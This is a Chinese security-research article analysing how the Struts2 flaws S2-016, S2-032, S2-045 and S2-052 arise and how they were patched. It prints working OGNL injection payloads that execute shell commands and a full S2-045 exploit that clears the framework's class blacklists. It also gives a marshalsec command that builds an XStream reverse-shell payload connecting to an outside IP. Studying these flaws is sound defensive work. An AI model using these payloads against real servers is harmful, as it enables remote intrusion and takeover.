尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
目录
- 前言
- S2-001
- S2-003
- S2-005
- S2-007
- S2-008
- S2-009
- S2-012
- S2-013
- S2-015
- S2-016
- S2-032
- S2-045
- S2-052
- S2-053
- S2-057
- S2-059
- S2-061
- 小结
- Reference
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。
S2-016
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-016
影响版本:Struts 2.0.0
- Struts 2.3.15
漏洞复现与分析
在Struts2中,支持在action
的请求参数中添加redirect:
、redirectAction:
前缀,在后面加上指定表达式,便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤,从而可导致注入任意OGNL表达式。
下面使用struts2 2.3.15
版本自带的示例程序struts-blank
进行调试分析。
以redirect:
为例,最简单的PoCredirect:%{11+13}
,复现如下:
可以看到表达式%{11+13}
被执行了,结果回显在了响应头Location
中。
对这些参数前缀的处理,是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper
类中,如下图,每个前缀都有与之对应的处理动作。
下面以redirect:
前缀为例子。
先说一下,这个漏洞的触发流程其实是在struts2运行主线的第一阶段,并没有到达第二阶段。什么意思呢,看下图:
如上图,这是一个正常的action
请求的处理时序图。
首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成,其主要职责是与Web容器打交道,将HTTP请求处理成为普通的Java对象。<br>
而第二阶段,则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架,其主要职责是对请求进行核心逻辑处理。
为什么说这个漏洞的触发流程只是在struts2运行主线的第一阶段呢?来实际调试一下便知。
struts2接收到请求后,先到达StrutsPrepareAndExecuteFilter#doFilter()
方法中,在该方法中,会根据request
对象来获取ActionMapping
对象,如下图:
在获取ActionMapping
对象的过程中,会调用DefaultActionMapper#handleSpecialParameters()
方法去处理特殊的参数
,比如包含了redirect:
、redirectAction:
等前缀的参数,具体的处理动作在对应的ParameterAction#execute()
方法里完成,如下图:
可以看到,在redirect:
前缀对应的处理动作中,往ActionMapping
对象中放置了一个Result
对象:ServletRedirectResult
对象,并且将前缀后面的OGNL表达式字符串赋值给该Result
对象的location
属性中。
获取到ActionMapping
属性后,随着运行主线的第一阶段,到达Dispatcher#serviceAction()
方法。在该方法中,会判断在ActionMapping
对象的result
属性是否为null
,如果为null
,则进入运行主线的第二阶段。然而,前面已经在处理redirect:
参数前缀时,将一个ServletRedirectResult
对象赋值给了ActionMapping
的result
属性,所以这里不会进入第二阶段,而是直接开始调度Result
对象。
继续跟进,看到了熟悉的TextParseUtil.translateVariables()
方法。后面的方法执行流程就跟S2-015:vuln-1
一样了,这里不再展开。
可回显PoC
xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}
漏洞修复
通过版本代码比对,在Struts2 2.3.15.1
版本中,DefaultActionMapper
类里对redirect:
、redirectAction:
前缀的处理代码都删除了。
S2-032
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-032
影响版本:Struts 2.3.20
- Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞复现与分析
从漏洞公告可获悉,当Struts2的"动态方法调用"(Dynamic Method Invocation)
特性被启用时,可通构造以method:
为前缀的OGNL表达式,造成远程代码执行。
下面使用struts2 2.3.28
版本自带的示例程序struts-blank
进行调试分析。
在部署应用前,需要在struts.xml
文件中启用Dynamic Method Invocation
特性,同时需要将devMode
模式关闭。至于为什么要关闭devMode
模式,在下面的调试过程中就能找到答案。
同S2-016
的redirect:
、redirectAction:
前缀一样,对参数前缀method:
的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper
,如下图:
按照前面在S2-016
漏洞分析中提到的Struts2运行主线的流程,跟进到类DefaultActionMapper
中对参数前缀为method:
时的处理,如下图,只有当Dynamic Method Invocation
特性启用时才会将method:
后面带的字符串赋值到ActionMapping
的method
属性。
继续跟进代码到Dispatcher#serviceAction()
方法,发现在创建ActionProxy
对象的过程中,会对传入的method
字符串(即method:
前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了,得修改一下,比如不能出现单双引号、尖括号等。
继续跟进代码,到了调度拦截器执行阶段,当拦截器AnnotationValidationInterceptor
执行过程中,会搜索当前action
对象中是否有method:
前缀后指定的方法。因为这里我们就是要插入恶意OGNL表达式的,所以结果肯定是搜索不到的。当搜索不到时,当devMode
开启时,就会抛出异常,程序因此中断从而无法执行我们注入的OGNL表达式,所以前面提到为什么前提条件还包括不开启devMode
模式。如下图:
最后,在调用action
对象的时候,便会对method:
前缀后面的OGNL表达式进行计算,如下图:
这里要注意OnglUtil.getValue()
的第一个参数,methodName
后面拼接了一个圆括号()
,故在构造PoC时,要在注入的OGNL表达式中,最后一个得是方法调用,且去掉圆括号。
可回显PoC
从上面的调试分析可知,会对method:
前缀后面的字符串进行HTML字符和JS字符转义,所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
这种方式来访问_memberAccess
的allowStaticMethodAccess
属性,因为单引号会被转义。执行命令Runtime#exec('id')
同理。
这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
将#_memberAccess
重置为默认对象DefaultMemberAccess
,DefaultMemberAccess
不会禁止执行Java静态方法。
而命令参数则利用上下文对象context
中parameters
属性去读取。
综上,可回显PoC如下:
/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a
漏洞修复
通过版本比对,可以看到在Struts2 2.3.28.1
版本中,对method:
前缀后面的字符串进行了字符白名单校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
S2-045
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-045
影响版本:Struts 2.3.5
-Struts 2.3.31
, Struts 2.5
-Struts 2.5.10
漏洞复现与分析
从漏洞公告可获悉,如果Content-Type
请求头的值表示一个上传类型,但值是无效的,且是一个精心构造的OGNL表达式时,Jakarta Multipart parser
这个解析器在对Content-Type
处理的过程中,会触发异常,在处理异常信息的时候会计算OGNL表达式,从而造成远程代码执行。
这里使用Struts2 2.3.31
版本自带的示例应用struts-blank
进行调试分析。
因为得是上传类型,故Content-Type
的值包含字符串multipart/form-data
。另外,在Jakarta Multipart parser
解析器对应的类JakartaMultiPartRequest
的解析请求的方法parse()
方法中下断点。
命中断点后,跟进它的处理,可以看到,当content-type
请求头的值不是以multipart/
开头时,则抛出异常InvalidContentTypeException
,同时将content-type
的值拼接到异常消息字符串中。
抛出异常后,则在JakartaMultiPartRequest#buildErrorMessage()
对异常消息进行处理。
继续跟进,看到了熟悉的TextParseUtil.translateVariables()
,往后就是从异常消息字符串中根据%
符号提取OGNL表达式并计算求值,这里不再细说,因为前面分析其他漏洞的文章里已经详细分析过了。
下面重点说一下PoC的构造。
可回显PoC
注:关于OGNL表达式的形式,可参考官方文档:<br>
https://commons.apache.org/proper/commons-ognl/language-guide.html
因为Struts2从2.3.28.1
版本开始,在OgnlUtil
类中,对(e1,e2,e3,e4,...)
这种形式的表达式进行了限制,不允许执行。(e1,e2,e3,e4,...)
这种形式的表达式会被解析为ASTSequence
类型,而ASTSequence#isSequence()
永远返回true
,从而向上抛出异常,不会继续对表达式进行求值。关键代码如下:
所以这里换一种表达式形式:(e1).(e2).(e3).(e4)....
。这种形式的表达式会被解析为ASTChain
类型,没有被限制执行。
所以,构造简单PoC如下:
%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}
要构造命令执行的PoC,首先要将上下文对象context
的_memberAccess
属性重新赋值为DEFAULT_MEMBER_ACCESS
。但Struts2 2.3.31
的代码里,上下文对象context
内部的Map
集合已经没有_memberAccess
这个键,当然也就无法向之前一样通过#context['_memberAccess']
或#_memberAccess
去访问context
的_memeberAccess
属性。(详见OgnlContext
的static
代码块和get(Object key)
方法)
但可以通过OgnlContext
的setMemberAccess()
方法去设置它。然而在此之前,还得做些工作。否则OgnlContext#setMemberAccess()
无法执行。为什么呢?这里直接拿网上的漏洞利用工具/脚本里的S2-045
漏洞exploit来解释,如下:
%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
- 因为版本较旧的Struts2,上下文对象
context
内部的Map
集合里还是存在_memberAccess
属性的,同时也可以通过get
方法访问,而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)
来实现版本的兼容。 - 这里在执行
#context.setMemberAccess()
前,为什么要先调用#ognlUtil.getExcludedPackageNames().clear()
和#ognlUtil.getExcludedClasses().clear()
呢?原因是在较新的Struts2版本中,默认情况下,会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。Struts22.3.31
里的类名、包名的黑名单如下图所示。
对黑名单的读取,是在OgnlValueStack#setOgnlUtil()
方法中,如下图:
可以看到,连OgnlContext
都在黑名单中,所以必须得先将黑名单集合excludedClasses
和excludedPackageNames
给清空,同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路:
先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取ContainerImpl
对象,通过ContainerImpl#getInstance()
方法来获取OgnlUtil
对象,而OgnlUtil
并不在黑名单中,所以再通过#ognlUtil.getExcludedPackageNames().clear()
和#ognlUtil.getExcludedClasses().clear()
来清空存储黑名单的集合。清除后,上下文对象context
就可以调用setMemberAccess()
方法去重置_memberAccess
属性了。
漏洞修复
在Struts2 2.3.32
中,JakartaMultiPartRequest#buildErrorMessage()
把异常信息传入了LocalizedTextUtil#findText()
方法的args
参数的位置,不再传到defaultMessage
参数的位置。
S2-052
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本:Struts 2.1.6
- Struts 2.3.33
, Struts 2.5
- Struts 2.5.12
漏洞复现与分析
下面使用Struts2 2.3.33
版本自带的示例应用struts2-rest-showcase
进行调试分析。
从漏洞公告可获悉,该漏洞与OGNL表达式无关,而是由于REST plugin
插件在处理xml
类型的请求数据时,没有进行任何类型的过滤,故可构造恶意xml数据使XStream进行不安全的反序列化,从而达到RCE。
struts2-rest-plugin
是使Struts2实现REST API的插件。它通过Content-Type
或URI后缀名
来识别不同的请求数据类型,然后根据请求数据类型用不同的实现类去处理。关键代码如下:
跟进XStreamHandler#toObject()
方法,发现调用了XStream#fromXML()
方法对请求数据进行反序列化。
struts-rest-plugin-2.3.33
依赖的XStream的版本是1.4.8
。故可以使用marshalsec
生成ImageIO
利用链的payload进行RCE的漏洞利用。
可回显PoC
对于xstream的反序列化命令执行回显,本人暂时不知道如何实现。<br>
下面使用marshalsec
工具生成反弹shell的exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"
漏洞修复
在struts2-rest-plugin-2.3.34
版本中,将XStream升级到了1.4.10
版本,且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html),使用了白名单的方式指定可以反序列化的类型。
- 本文作者: m01e
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/602
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!